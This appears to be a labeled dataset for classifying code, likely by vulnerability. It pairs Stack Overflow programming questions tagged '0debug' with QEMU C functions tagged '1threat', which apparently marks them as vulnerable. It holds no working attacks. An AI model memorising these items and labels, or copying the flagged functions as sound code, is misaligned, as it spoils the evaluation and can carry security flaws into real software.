<p>As I work to improve it and make it work for our needs of the app (need some customization), I've noticed there are some lines that are marked as deprecated:</p>
<pre><code>canvas.clipRect(0f, mHeaderHeight + mHeaderRowPadding * 2, mHeaderColumnWidth, height.toFloat(), Region.Op.REPLACE)
</code></pre>
<p>Thing is, I don't think there is a good candidate to replace this line of code with the newer APIs</p>
<h2>What I've found</h2>
<p>Looking at <a href="https://developer.android.com/reference/android/graphics/Canvas.html#clipRect(android.graphics.RectF,%20android.graphics.Region.Op)" rel="noreferrer"><strong>the docs</strong></a>, this is what's written:</p>
<blockquote>
<p>This method was deprecated in API level 26. Region.Op values other
than INTERSECT and DIFFERENCE have the ability to expand the clip. The
canvas clipping APIs are intended to only expand the clip as a result
of a restore operation. This enables a view parent to clip a canvas to
clearly define the maximal drawing area of its children. The
recommended alternative calls are clipRect(RectF) and
clipOutRect(RectF);</p>
</blockquote>
<p>So I tried using either of those functions, yet both of them caused issues with the drawing of how it used to be.</p>
<p>Looking at the deprecation, it seems that the function itself is marked, but not Region.Op.REPLACE :</p>
<p><a href="https://i.stack.imgur.com/yjhkn.png" rel="noreferrer"><img src="https://i.stack.imgur.com/yjhkn.png" alt="enter image description here"></a></p>
<p>So maybe it doesn't really have an alternative...</p>
<h2>The questions</h2>
<ol>
<li>What is the best alternative in this case?</li>
<li>Why exactly was it deprecated? </li>
<li>As opposed to some deprecated functions, I assume this one should be safe to still use in case I can't find an alternative, right?</li>
</ol>
| 0debug |
How can I clear the variable after while loop is done : <p>I'm writing a program that multiplies matrices. And here I have got two variables "i" and "q" which at the beginning are both 0. While the loops proceed variables ("i" and "q") change their values. However after the loops are done I need "i" and "q" to come back to the value 0, so the loops can repeat themselves for different "w" and "k" . How can I do so??</p>
<pre class="lang-cpp prettyprint-override"><code>
int wynik[x][z]; //table that holds the result of the multiplication
int i=0;
int q=0;
int wyn=0;
for(int w=0; w<x; w++)
{
for(int k=0; k<z; k++)
{
while((i<y) && (q<v) )
{
wyn = (tab1[w][i] * tab2[q][k]) + wyn;
i++;
q++;
}
wynik[w][k] = wyn;
}
}
</code></pre>
| 0debug |
Lint error "Do not treat position as fixed; only use immediately..." : <p>I'm contributing to open source library and got lint error <strong>"Do not treat position as fixed; only use immediately and call holder.getAdapterPosition() to look it up later"</strong> for this code:</p>
<pre><code> @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {
mAdapter.onBindViewHolder(holder, position);
if (!isFirstOnly || position > mLastPosition) {
for (Animator anim : getAnimators(holder.itemView)) {
anim.setDuration(mDuration).start();
anim.setInterpolator(mInterpolator);
}
mLastPosition = position;
} else {
ViewHelper.clear(holder.itemView);
}
}
</code></pre>
<p>I've checked that it is because the position is saved for the future use. It is a question to library creator why they need this logic. But issue disappeared when I change the usage of the position to the usage <code>holder.getAdapterPosition()</code>:</p>
<pre><code> @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {
mAdapter.onBindViewHolder(holder, position);
if (!isFirstOnly || holder.getAdapterPosition() > mLastPosition) {
for (Animator anim : getAnimators(holder.itemView)) {
anim.setDuration(mDuration).start();
anim.setInterpolator(mInterpolator);
}
mLastPosition = holder.getAdapterPosition();
} else {
ViewHelper.clear(holder.itemView);
}
}
</code></pre>
<p>I assume that conceptually it didn't change much but lint is satisfied now. Why? </p>
| 0debug |
methods that give error : <p>a developer has left the company and left me with his code.
it was working fine</p>
<p>but when I copied the code into my computer, I started getting all sort of errors</p>
<p>There are methods that are used that do not have any definition anywhere, not even google.</p>
<p>Methods are : <strong>get_Routes(), get_Formatters(), get_XmlFormatter(), get_SupportedMediaTypes()</strong></p>
<p>does anyone know where to define or get these methods from?
do I need to import any library?</p>
<p>this is the code</p>
<pre><code>using System;
using System.Collections.ObjectModel;
using System.Linq;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Runtime.CompilerServices;
using System.Web.Http;
namespace IntMan.WebAPI.App_Start
{
public static class WebApiConfig
{
public static void Register(HttpConfiguration config)
{
CorsHttpConfigurationExtensions.EnableCors(config);
HttpConfigurationExtensions.MapHttpAttributeRoutes(config);
HttpRouteCollectionExtensions.MapHttpRoute(config.get_Routes(), "DefaultApi", "api/{controller}/{id}", new { id = RouteParameter.Optional });
MediaTypeHeaderValue mediaTypeHeaderValue = config.get_Formatters().get_XmlFormatter().get_SupportedMediaTypes().FirstOrDefault<MediaTypeHeaderValue>((MediaTypeHeaderValue t) => t.MediaType == "application/xml");
config.get_Formatters().get_XmlFormatter().get_SupportedMediaTypes().Remove(mediaTypeHeaderValue);
}
}
}
</code></pre>
| 0debug |
static target_ulong compute_tlbie_rb(target_ulong v, target_ulong r,
target_ulong pte_index)
{
target_ulong rb, va_low;
rb = (v & ~0x7fULL) << 16;
va_low = pte_index >> 3;
if (v & HPTE64_V_SECONDARY) {
va_low = ~va_low;
}
if (!(v & HPTE64_V_1TB_SEG)) {
va_low ^= v >> 12;
} else {
va_low ^= v >> 24;
}
va_low &= 0x7ff;
if (v & HPTE64_V_LARGE) {
rb |= 1;
#if 0
if (r & 0xff000) {
rb |= 0x1000;
rb |= (va_low & 0x7f) << 16;
rb |= (va_low & 0xfe);
}
#endif
} else {
rb |= (va_low & 0x7ff) << 12;
}
rb |= (v >> 54) & 0x300;
return rb;
}
| 1threat |
How do i post data using Angularjs : I am new in Angularjs.I tried to post the form data.but it couldnot works.
My code is given below.
var app = angular.module('myApp', []);
// Controller function and passing $http service and $scope var.
app.controller('myCtrl', function($scope, $http) {
// create a blank object to handle form data.
$scope.user = {};
// calling our submit function.
$scope.submitForm = function() {
// Posting data to file
$http({
method : 'POST',
url : '/tokken/d/',
data : $scope.user, //forms user object
headers : {'Content-Type': 'application/x-www-form-urlencoded'}
})
.success(function(data) {
if (data.errors) {
// Showing errors.
$scope.errorName = data.errors.name;
$scope.erroPassword = data.errors.password;
} else {
$scope.message = data.message;
}
});
};
});
please help me.. | 0debug |
how to get all predefined constant in php? : I want to see all predefined constant in library.
A constant is an identifier (name) for a simple value. As the name suggests, that value cannot change during the execution of the script (except for magic constants, which aren't actually constants). A constant is case-sensitive by default. By convention, constant identifiers are always uppercase.
| 0debug |
Hi there! I want to call a function when state changes : when we call setstate({}) after it, it has to call function My requirements: i want to add or remove classes on specific state so i want to check state in runtime and call function on specific state, Thanks, | 0debug |
sql command not properly ended for select statement - oracle : I have a pl/sql function and in that i have the following piece of code:
execute immediate 'select ' || schemaname || '.' || value1 || '_seq.nextval from dual into cnpParmId';
for this line, am getting an error :
SQL Error: ORA-00933: SQL command not properly ended
In the above code am getting the value1 from the result of a select query. schemaname is the input of the function and cnpParmId is the return value of the function.
I tried different ways to solve this but still getting the error. | 0debug |
static void sd_set_status(SDState *sd)
{
switch (sd->state) {
case sd_inactive_state:
sd->mode = sd_inactive;
break;
case sd_idle_state:
case sd_ready_state:
case sd_identification_state:
sd->mode = sd_card_identification_mode;
break;
case sd_standby_state:
case sd_transfer_state:
case sd_sendingdata_state:
case sd_receivingdata_state:
case sd_programming_state:
case sd_disconnect_state:
sd->mode = sd_data_transfer_mode;
break;
}
sd->card_status &= ~CURRENT_STATE;
sd->card_status |= sd->state << 9;
}
| 1threat |
Issue to make click on <a> tag in funcional test with selenium : i am to make a functional test and i need to make click on `<a>` tag, but i try some ways and really i don't know, i try with the commands in this url
https://saucelabs.com/resources/articles/the-selenium-2018click2019-command, nothing has worked, if somebody can help me , i would apreciate it. Thanks.
import time
from selenium import webdriver
from unittest import TestCase
#driver = webdriver.Chrome('/path/to/chromedriver') # Optional argument, if not specified will search path.
class GoToLogin(TestCase):
driver = webdriver.Firefox()
driver.get('http://192.168.56.101:8000/login/');
#time.sleep(5) # Let the user actually see something!
user_field = driver.find_element_by_id('id_username')
user_field.send_keys('lruedc')
password_field = driver.find_element_by_id('id_password')
password_field.send_keys('lejoruca123')
button_field = driver.find_element_by_id('btnlogin')
button_field.click()
#time.sleep(5) # Let the user actually see something!
user_field.submit()
self.driver.quit() | 0debug |
How to see if a service is running on Linux? : <p>I'm using systemctl to setup and run my serviced on a Linux Redhat. How can I check if a service is in running state? </p>
<p>I can use </p>
<pre><code>systemctl is-active <service name>
</code></pre>
<p>to check if the service is is active or not. But I would like to check if the service is in the substate running.</p>
<p><a href="https://i.stack.imgur.com/62XWE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/62XWE.png" alt="enter image description here"></a></p>
| 0debug |
Does Spring Boot RequestMapping match requests exactly? : I have a Spring Boot Api which has endpoints which offers paging.
@RequestMapping(path = "/most-popular", method = GET)
@Override
public List<RefinedAlbum> getMostPopularDefault() {
return albumService.getMostPopular(0, 25);
}
@RequestMapping(path = "/most-popular?offset={offset}&limit={limit}", method = GET)
@Override
public List<RefinedAlbum> getMostPopular(@PathVariable("limit") int limit, @PathVariable("offset") int offset) {
inputValidation(limit, offset);
return albumService.getMostPopular(limit, offset);
}
But when i make a request to the service like:
http://localhost:5250/api/v1/albums/most-popular?offset=100&limit=125
The first function is called, my understanding was the exact matches should precede.Is that incorrect? | 0debug |
Angular2 show all form group validation errors : <p>I am building a deep nested form with Angular2 and FormGroup, currently I have a form such as in a parent controller:</p>
<pre><code>this.orderForm = this.fb.group({
customerSelectForm: this.fb.group({ // create nested formgroup to pass to child
selectTypeahead: ['',
Validators.required],
})
})
</code></pre>
<p>Then in a child component I have:</p>
<pre><code><div class="form-group" [formGroup]="customerSelectForm" *ngIf="customerSelectForm">
<label for="oh-custaccount">Customer Account #</label>
<input class="form-control" type="text"
formControlName="selectTypeahead"
(focusout)=someFunction() />
<p *ngIf="customerSelectForm.controls.selectTypeahead.errors?.required">
Number required!</p>
</div>
</code></pre>
<p>Now this child template works fine, and renders an error on screen if there is no input inside the text box. I then back in the parent controller have a submit button:</p>
<pre><code><button type="submit" class=" btn btn-success" [disabled]="orderForm?.invalid">Submit</button>
</code></pre>
<p>Again, this works as expected, and only is enabled after an input is registered in the selectTypeahead input.</p>
<p>Now due to the large nature of this form, I want to have a display next to the submit button, that lists all form elements, which are currently failing. I did try rendering:</p>
<pre><code>{{orderForm.errors}}
</code></pre>
<p>But this stayed as "null" even when my form was invalid, how would I list all inputs from orderFrom that have currently not passed/matched their corresponding validation rules?</p>
| 0debug |
PHP Fatal error: Call to a member function query() on null : <p>I am new in php, and wonder why I getting this, need expert to guide. Thanks.</p>
<p>PHP Fatal error: Call to a member function rowCount() on resource in C:\inetpub\wwwroot\xxx\xxx.php on line 9</p>
<pre><code><?php
include 'connect_db.php';
$conn = null;
$sqlGetFeedback = "Select * from t_abc";
$resFB = $conn->query($sqlGetFeedback);
$rows = array();
if($resFB->rowCount()){
echo json_encode($resFB->fetchAll(PDO::FETCH_ASSOC));
} else {
echo '[{}]';
}
?>
</code></pre>
| 0debug |
Order Cancelled (Google Developer Console) : <p>In my Google Developer Console under "Order Management" I have a lot of cancelled order like that:</p>
<blockquote>
<p>Order history:</p>
<p>Jan 18 2017 5:13 PM
Payment pending
You received a new order.</p>
<p>Jan 18 2017 5:13 PM
Cancelling
Process for cancelling the order was initiated.</p>
<p>Jan 18 2017 5:13 PM
Cancelled
The order was cancelled.</p>
</blockquote>
<p>This is the history of my in-app purchase order.</p>
<p><strong>Is that Normal</strong>? Maybe this happen every time a user click "buy in app-purchase" and than came back?</p>
<p>Someone know when this happen? Thanks</p>
| 0debug |
static int raw_read_header(AVFormatContext *s, AVFormatParameters *ap)
{
AVStream *st;
int id;
st = av_new_stream(s, 0);
if (!st)
return AVERROR_NOMEM;
if (ap) {
id = s->iformat->value;
if (id == CODEC_ID_RAWVIDEO) {
st->codec->codec_type = CODEC_TYPE_VIDEO;
} else {
st->codec->codec_type = CODEC_TYPE_AUDIO;
}
st->codec->codec_id = id;
switch(st->codec->codec_type) {
case CODEC_TYPE_AUDIO:
st->codec->sample_rate = ap->sample_rate;
st->codec->channels = ap->channels;
av_set_pts_info(st, 64, 1, st->codec->sample_rate);
break;
case CODEC_TYPE_VIDEO:
av_set_pts_info(st, 64, ap->time_base.num, ap->time_base.den);
st->codec->width = ap->width;
st->codec->height = ap->height;
st->codec->pix_fmt = ap->pix_fmt;
if(st->codec->pix_fmt == PIX_FMT_NONE)
st->codec->pix_fmt= PIX_FMT_YUV420P;
break;
default:
return -1;
}
} else {
return -1;
}
return 0;
}
| 1threat |
Iterate through string of characters and look for int? : <p>I need to iterate through a string with a mixture of letters and numbers. If it finds at least one number, it returns True, else, it returns false. How can I do this?</p>
| 0debug |
Is it possible to highlight the background of methods, for loops, while loops etc.? : <p>I've recently tried to switch from Bluej (we used that in school) to eclipse (which seems to be way more widespread) but I have some trouble distinguishing between different loops and methods etc. I am used to everything being highlighted. Is there a way to make it <a href="https://i.stack.imgur.com/U3SYK.png" rel="nofollow noreferrer">look like in BlueJ?</a></p>
<p>Thanks in advance!</p>
| 0debug |
c++ exception : throwing std::exception : <p>I need to throw std::exeption if rad is negetive number, how can I throw? </p>
<pre><code>void Circle::setRad(double rad) {
if (rad < 0)
{
throw(std::exception );
}
radius = rad;
}
</code></pre>
| 0debug |
Parameter specified as non-null is null in ArrayAdaper : <p>I've extended ArrayAdapter for spinner:</p>
<pre><code>class OrderAdapter(context: Context, resource: Int, objects: List<Order>) : ArrayAdapter<Order>(context, resource, objects) {
override fun getView(position: Int, convertView: View?, parent: ViewGroup): View? {
val view = super.getView(position, convertView, parent)
view?.let { view.find<TextView>(android.R.id.text1).text = getItem(position).name }
return view
}
override fun getDropDownView(position: Int, convertView: View?, parent: ViewGroup): View? {
val view = super.getDropDownView(position, convertView, parent)
view?.let {view.find<TextView>(android.R.id.text1).text = getItem(position).name }
return view
}
}
</code></pre>
<p>I'm getting exception:</p>
<pre><code>java.lang.IllegalArgumentException: Parameter specified as non-null is null: method kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull, parameter convertView
at com.github.blabla.endlesss.ui.adapter.OrderAdapter.getView(OrderAdapter.kt:0)
</code></pre>
<p>Any ideas how to fix it?</p>
| 0debug |
Django redirecting http -> https : <p>I am running:</p>
<pre><code>python manage.py runserver localhost:44100
</code></pre>
<p>And this is redirecting me to <code>https</code>:</p>
<pre><code>Β» http http://localhost:44100/
HTTP/1.0 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Date: Mon, 05 Mar 2018 14:09:09 GMT
Location: https://localhost:44100/
Server: WSGIServer/0.1 Python/2.7.14
X-Frame-Options: SAMEORIGIN
</code></pre>
<p>Why / how is this happening? What setting does control whether <code>Django</code> accepts <code>http</code> / <code>https</code>?</p>
| 0debug |
uint64_t HELPER(neon_sub_saturate_u64)(uint64_t src1, uint64_t src2)
{
uint64_t res;
if (src1 < src2) {
env->QF = 1;
res = 0;
} else {
res = src1 - src2;
}
return res;
}
| 1threat |
static void usb_host_handle_control(USBDevice *udev, USBPacket *p,
int request, int value, int index,
int length, uint8_t *data)
{
USBHostDevice *s = USB_HOST_DEVICE(udev);
USBHostRequest *r;
int rc;
trace_usb_host_req_control(s->bus_num, s->addr, p, request, value, index);
if (s->dh == NULL) {
p->status = USB_RET_NODEV;
trace_usb_host_req_emulated(s->bus_num, s->addr, p, p->status);
return;
}
switch (request) {
case DeviceOutRequest | USB_REQ_SET_ADDRESS:
usb_host_set_address(s, value);
trace_usb_host_req_emulated(s->bus_num, s->addr, p, p->status);
return;
case DeviceOutRequest | USB_REQ_SET_CONFIGURATION:
usb_host_set_config(s, value & 0xff, p);
trace_usb_host_req_emulated(s->bus_num, s->addr, p, p->status);
return;
case InterfaceOutRequest | USB_REQ_SET_INTERFACE:
usb_host_set_interface(s, index, value, p);
trace_usb_host_req_emulated(s->bus_num, s->addr, p, p->status);
return;
case EndpointOutRequest | USB_REQ_CLEAR_FEATURE:
if (value == 0) {
int pid = (index & USB_DIR_IN) ? USB_TOKEN_IN : USB_TOKEN_OUT;
libusb_clear_halt(s->dh, index);
usb_ep_set_halted(udev, pid, index & 0x0f, 0);
trace_usb_host_req_emulated(s->bus_num, s->addr, p, p->status);
return;
}
}
r = usb_host_req_alloc(s, p, (request >> 8) & USB_DIR_IN, length + 8);
r->cbuf = data;
r->clen = length;
memcpy(r->buffer, udev->setup_buf, 8);
if (!r->in) {
memcpy(r->buffer + 8, r->cbuf, r->clen);
}
if (udev->speed == USB_SPEED_SUPER &&
!(udev->port->speedmask & USB_SPEED_MASK_SUPER) &&
request == 0x8006 && value == 0x100 && index == 0) {
r->usb3ep0quirk = true;
}
libusb_fill_control_transfer(r->xfer, s->dh, r->buffer,
usb_host_req_complete_ctrl, r,
CONTROL_TIMEOUT);
rc = libusb_submit_transfer(r->xfer);
if (rc != 0) {
p->status = USB_RET_NODEV;
trace_usb_host_req_complete(s->bus_num, s->addr, p,
p->status, p->actual_length);
if (rc == LIBUSB_ERROR_NO_DEVICE) {
usb_host_nodev(s);
}
return;
}
p->status = USB_RET_ASYNC;
}
| 1threat |
How does a Email-Form work? : <p>this might be a stupid question but its been bugging me all day, I am creating a website from scratch in html , css and js and hope for it to go live very soon. Almost at the end section which is producing a email form for users to enter on the site and the information gets sent directly to my email address. I tried doing alot of research and noticed that like all email forms are done in php if this is the case I may have to do it in a different system because my XAMPP is not working and I won't go into that now but is there any other way to produce a email form without the use of php and still have the sending functionality? Also if produced in php and website goes live will the php code for the email form work as it will be developed in a local host ? Sorry about this question I have never set put up a scratch website live only done wordpress.</p>
| 0debug |
why am I getting the error "Can't find string terminator '"' anywhere before EOF when running very basic Perl script on MacOSX? : I am getting the error Can't find string terminator '"' anywhere before EOF when running the following script on Mac OSX. Note that this script was copied directly from a Mac forum...
#!/usr/bin/perl
print "Hi there!\nβ | 0debug |
how to check if two doubles are equal in java : <p>I am writing a program to help students practice division, how can I compare the user Input and the correct answer if they are doubles</p>
| 0debug |
How does the Date type get the 'YY-MM-DD'? : <p>I want to get a present time.The Date type of 'YY-MM-DD'.What should I do?</p>
| 0debug |
How to covnert string property to bool? : I am developing a tool in wpf. In the tool I have the text field where I enter values. In the code for that, I have string property. Sometimes I need to enter the bool value. How can string property return bool value if it is typed true or false in text field.
Here is property:
public string EnvironmentValue
{
get { return enviromentValue; }
set
{
enviromentValue = value;
OnPropertyChanged();
AddEnviromentCommand.RaiseCanExecuteChanged();
}
} | 0debug |
Retrieve request in entity : For some translation purpose, I need to retrieve the request in my entities.
I tried to do what is [written here][1] but it's not working with entities.
/**
* AccessoryType constructor.
*
* @param RequestStack $requestStack
*/
public function __construct(RequestStack $requestStack) {
$this->request=$requestStack->getCurrentRequest();
}
I get the following error message (which is to be excepted I guess...)
> Too few arguments to function App\Entity\Map::__construct(), 0 passed in /var/www/sphere/src/Controller/MapController.php on line 34 and exactly 1 expected
Any suggestion to retrieve the request within an entity?
[1]: https://symfony.com/doc/current/service_container/request.html | 0debug |
Any Way Around Facebook Bots Button Template Limit? : <p>It appears (undocumented) that for a button message type in the Facebook Bots chat system, there is a max of 3 buttons. This seems arbitrary and limiting. Does anyone know if there is a way to have more than 3 buttons? </p>
<p>To be clear, I'm referring to the following message JSON:</p>
<pre><code>{
"recipient":{
"id":"USER_ID"
},
"message":{
"attachment":{
"type":"template",
"payload":{
"template_type":"button",
"text":"What do you want to do next?",
"buttons":[
{
"type":"web_url",
"url":"https://petersapparel.parseapp.com",
"title":"Show Website"
},
{
"type":"postback",
"title":"Start Chatting",
"payload":"USER_DEFINED_PAYLOAD"
}
]
}
}
}
}
</code></pre>
| 0debug |
how to compare selected date is greater than todays date in moment : I am using angularjs and moment library, i have start_date object contains several dates, once user clicks proceed I am checking each date to check whether it is valid date i,e which is grater than today or equal to today, else I am throwing error.
Here is my code
$scope.checkDateTime=function(){
angular.forEach($scope.orders.start_date,function(s){
console.log('data'+s);
if (moment(s).format('YYYY-MM-DD') < moment().format('YYYY-MM-DD')) {
swal({
title: "Please select a valid date.",
text: "Please select valid start date.",
confirmButtonClass: "btn btn-primary add-prod-btn",
imageUrl: 'images/vmy-sub.png'
})
return false;
}
} | 0debug |
how to remove backslash from Json tag name : I need to remove "/" from Json tag name. Anyone have common solution for this.
"langServices": {"en/ENGLISH_ONLY": "English"}
This is the sample currently I have.
var finalData = jsonstr.replace("en/", "en-"); | 0debug |
How to convert binary fraction to decimal : <p>Javascript has the function <code>parseInt()</code> which can help convert integer in a binary form into its decimal equivalent:</p>
<pre><code>parseInt("101", 2) // 5
</code></pre>
<p>However, I need to convert binary fraction to its decimal equivalent, like:</p>
<pre><code>0.101 = 0.625
</code></pre>
<p>I can write my own function that would calculate the result like the following:</p>
<pre><code>1 * Math.pow(2, -1) + 0*Math.pow(2, -2) + 1*Math.pow(2, -3) // 0.625
</code></pre>
<p>But I'm wondering whether there is anything standard already.</p>
| 0debug |
rewrite a peace of php code for copy file to folder : this is simple php code but i'm asp developer so enybody can rewrite this Piece of code so Instead of comperes files in zip format just copy them in for exampele 'wwwroot' folder .
<?php
/* CONFIG */
$pathToAssets = array("elements/bootstrap", "elements/css", "elements/fonts", "elements/images", "elements/js");
$filename = "tmp/website.zip"; //use the /tmp folder to circumvent any permission issues on the root folder
/* END CONFIG */
$zip = new ZipArchive();
$zip->open($filename, ZipArchive::CREATE);
//add folder structure
foreach( $pathToAssets as $thePath ) {
// Create recursive directory iterator
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator( $thePath ),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file) {
if( $file->getFilename() != '.' && $file->getFilename() != '..' ) {
// Get real path for current file
$filePath = $file->getRealPath();
$temp = explode("/", $name);
array_shift( $temp );
$newName = implode("/", $temp);
// Add current file to archive
$zip->addFile($filePath, $newName);
}
}
}
foreach( $_POST['pages'] as $page=>$content ) {
$zip->addFromString($page.".html", $_POST['doctype']."\n".stripslashes($content));
//echo $content;
}
//$zip->addFromString("testfilephp.txt" . time(), "#1 This is a test string added as testfilephp.txt.\n");
//$zip->addFromString("testfilephp2.txt" . time(), "#2 This is a test string added as testfilephp2.txt.\n");
$zip->close();
$yourfile = $filename;
$file_name = basename($yourfile);
header("Content-Type: application/zip");
header("Content-Transfer-Encoding: Binary");
header("Content-Disposition: attachment; filename=$file_name");
header("Content-Length: " . filesize($yourfile));
readfile($yourfile);
unlink('website.zip');
exit;?>
also if you can uncomperes file to the destination folder and delete zip file after its finished is good also. | 0debug |
unexpected behaviour of ACL linux : <p>Found the strangest behaviour in using acl using the <code>d</code> switch:</p>
<p>Test with the <code>d:</code> in the setfacl commando</p>
<pre><code>create directory: mkdir /var/tmp/tester
create three users: useradd userA -d /tmp etcβ¦
remove the other permission of the directory: chmod 750 /var/tmp/tester
grant acl permissions for userA: # file: setfacl -md:u:userA:rwx var/tmp/tester/
grant acl permissions for userB: setfacl -m d:u:userB:rx /var/tmp/tester
grant acl permissions for userC(not really needed): setfacl -m d:u:userC:rwx /var/tmp/tester
list the acl of the directory: getfacl /var/tmp/tester
# owner: root
# group: root
user::rwx
group::r-x
other::---
default:user::rwx
default:user:userA:rwx
default:user:userB:r-x
default:user:userC:---
default:group::r-x
default:mask::rwx
default:other::---
Become userA and navigate to the tester dir: ''su - userA cd /var/tmp''/tester
</code></pre>
<p>Result: -bash: cd: /var/tmp/tester: Permission denied</p>
<p>Now same test but not using the <code>d:</code> in my acl setfacl commando </p>
<pre><code>create directory: mkdir /var/tmp/tester
create three users: useradd userA -d /tmp etcβ¦
remove the other permission of the directory: chmod 750 /var/tmp/tester
grant acl permissions for userA: # file: setfacl -m u:userA:rwx var/tmp/tester/
grant acl permissions for userB: setfacl -m u:userB:rx /var/tmp/tester
grant acl permissions for userC(not really needed): setfacl -m u:userC:rwx /var/tmp/tester
list the acl of the directory: getfacl /var/tmp/tester
# owner: root
# group: root
user::rwx
group::r-x
other::---
default:user::rwx
default:user:userA:rwx
default:user:userB:r-x
default:user:userC:---
default:group::r-x
default:mask::rwx
default:other::---
Become userA and navigate to the tester dir: ''su - userA cd /var/tmp''/tester
</code></pre>
<p>Result: Success!?</p>
<p>is this expected behaviour?
Why does the getfacl does not show any difference in the tests?</p>
| 0debug |
Unable to convert CIImage to UIImage in Swift 3.0 : <p>I am making image form <code>QR Code</code> by using following code:</p>
<pre><code> func createQRFromString(str: String) -> CIImage? {
let stringData = str.dataUsingEncoding(NSUTF8StringEncoding)
let filter = CIFilter(name: "CIQRCodeGenerator")
filter?.setValue(stringData, forKey: "inputMessage")
filter?.setValue("H", forKey: "inputCorrectionLevel")
return filter?.outputImage
}
</code></pre>
<p>And Then I am adding to <code>UIImageView</code> Like this:</p>
<pre><code> if let img = createQRFromString(strQRData) {
let somImage = UIImage(CIImage: img, scale: 1.0, orientation: UIImageOrientation.Down)
imgviewQRcode.image = somImage
}
</code></pre>
<p>Now I need to save this to a <code>JPEG</code> or <code>PNG</code> file. But when I am doing so my app crashes:</p>
<pre><code> @IBAction func btnSave(sender: AnyObject) {
// // Define the specific path, image name
let documentsDirectoryURL = try! NSFileManager().URLForDirectory(.DocumentDirectory, inDomain: .UserDomainMask, appropriateForURL: nil, create: true)
// create a name for your image
let fileURL = documentsDirectoryURL.URLByAppendingPathComponent("image.jpg")
if let image = imgviewQRcode.image // imgviewQRcode is UIImageView
{
if let path = fileURL?.path
{
if !NSFileManager.defaultManager().fileExistsAtPath(fileURL!.path!)
{
if UIImageJPEGRepresentation(image, 1.0)!.writeToFile(path, atomically: true)
{
print("file saved")
}
}//Checking existing file
}//Checking path
}//CHecking image
}
</code></pre>
<p><strong>Crash Point</strong></p>
<pre><code> UIImageJPEGRepresentation(image, 1.0)!.writeToFile(path, atomically: true)
</code></pre>
<p><strong>Reason</strong></p>
<pre><code>fatal error: unexpectedly found nil while unwrapping an Optional value
</code></pre>
<p>Debug Tests:</p>
<p><a href="https://i.stack.imgur.com/8fzGa.png" rel="noreferrer"><img src="https://i.stack.imgur.com/8fzGa.png" alt="enter image description here"></a></p>
| 0debug |
Select query with gourp By : I need to select the table values with (group by) options. Table1 contains the list of week data I need to sum and group the values based on the Desc 2, Please help
**Table1:**
ββββββββββ¦ββββββββ¦βββββββββ¦ββββββββ
β ID β Desc β Desc 2 β Amt β
β βββββββββ¬ββββββββ¬βββββββββ¬ββββββββ£
β 1 β Total β Spent β 25.00 β
β 2 β Total β Net β 55.00 β
β 3 β Total β Spent β 78.00 β
β 4 β Total β avg β 99.00 β
β 5 β Total β Net β 54.00 β
β 6 β Total β vv β 58.00 β
β 7 β Total β vv β 55.00 β
β 8 β Total β avg β 55.00 β
ββββββββββ©ββββββββ©βββββββββ©ββββββββ
I need a select query as below from the tabel1
**Result Tabel:**
ββββββββββ¦ββββββββ¦βββββββββ¦ββββββββ
β ID β Desc β Desc 2 β Amt β
β βββββββββ¬ββββββββ¬βββββββββ¬ββββββββ£
β 1 β Total β Null β479.00 β
β 2 β Total β Net β109.00 β
β 3 β Total β Spent β103.00 β
β 4 β Total β avg β154.00 β
β 5 β Total β vv β113.00 β
ββββββββββ©ββββββββ©βββββββββ©ββββββββ | 0debug |
How to customize MappingMongoConverter (setMapKeyDotReplacement) in Spring-Boot without breaking the auto-configuration? : <p>How could I customize the <a href="http://docs.spring.io/spring-data/data-mongo/docs/current/api/org/springframework/data/mongodb/core/convert/MappingMongoConverter.html" rel="noreferrer"><code>MappingMongoConverter</code></a> within my Spring-Boot-Application (1.3.2.RELEASE) without changing any of the mongo-stuff which is autoconfigured by spring-data?</p>
<p>My current solution is:</p>
<pre class="lang-java prettyprint-override"><code>@Configuration
public class MongoConfig {
@Autowired
private MongoDbFactory mongoFactory;
@Autowired
private MongoMappingContext mongoMappingContext;
@Bean
public MappingMongoConverter mongoConverter() throws Exception {
DbRefResolver dbRefResolver = new DefaultDbRefResolver(mongoFactory);
MappingMongoConverter mongoConverter = new MappingMongoConverter(dbRefResolver, mongoMappingContext);
//this is my customization
mongoConverter.setMapKeyDotReplacement("_");
mongoConverter.afterPropertiesSet();
return mongoConverter;
}
}
</code></pre>
<p>Is this the right way or do I break some stuff with this?<br>
Or is there even a more simple way to set the mapKeyDotReplacement?</p>
| 0debug |
Ignore system headers in clang-tidy : <p><strong>tldr;> How do I hide warnings from system headers in clang-tidy?</strong></p>
<p>I have the following minimal example source file, which triggers a clang-tidy warning in the system headers:</p>
<pre><code>#include <future>
int main() {
std::promise<int> p;
p.set_value(3);
}
</code></pre>
<p>Calling it with libstdc++ 7.0.1 using clang-tidy 4.0.0 on Ubuntu 17.04:</p>
<pre><code>$ clang-tidy main.cpp -extra-arg=-std=c++14
</code></pre>
<p>yields</p>
<pre><code>Running without flags.
1 warning generated.
/usr/lib/gcc/x86_64-linux-gnu/7.0.1/../../../../include/c++/7.0.1/mutex:693:5: warning: Address of stack memory associated with local variable '__callable' is still referred to by the global variable '__once_callable' upon returning to the caller. This will be a dangling reference [clang-analyzer-core.StackAddressEscape]
}
^
/home/user/main.cpp:5:3: note: Calling 'promise::set_value'
p.set_value(3);
^
/usr/lib/gcc/x86_64-linux-gnu/7.0.1/../../../../include/c++/7.0.1/future:1094:9: note: Calling '_State_baseV2::_M_set_result'
{ _M_future->_M_set_result(_State::__setter(this, std::move(__r))); }
^
/usr/lib/gcc/x86_64-linux-gnu/7.0.1/../../../../include/c++/7.0.1/future:401:2: note: Calling 'call_once'
call_once(_M_once, &_State_baseV2::_M_do_set, this,
^
/usr/lib/gcc/x86_64-linux-gnu/7.0.1/../../../../include/c++/7.0.1/mutex:691:11: note: Assuming '__e' is 0
if (__e)
^
/usr/lib/gcc/x86_64-linux-gnu/7.0.1/../../../../include/c++/7.0.1/mutex:691:7: note: Taking false branch
if (__e)
^
/usr/lib/gcc/x86_64-linux-gnu/7.0.1/../../../../include/c++/7.0.1/mutex:693:5: note: Address of stack memory associated with local variable '__callable' is still referred to by the global variable '__once_callable' upon returning to the caller. This will be a dangling reference
}
</code></pre>
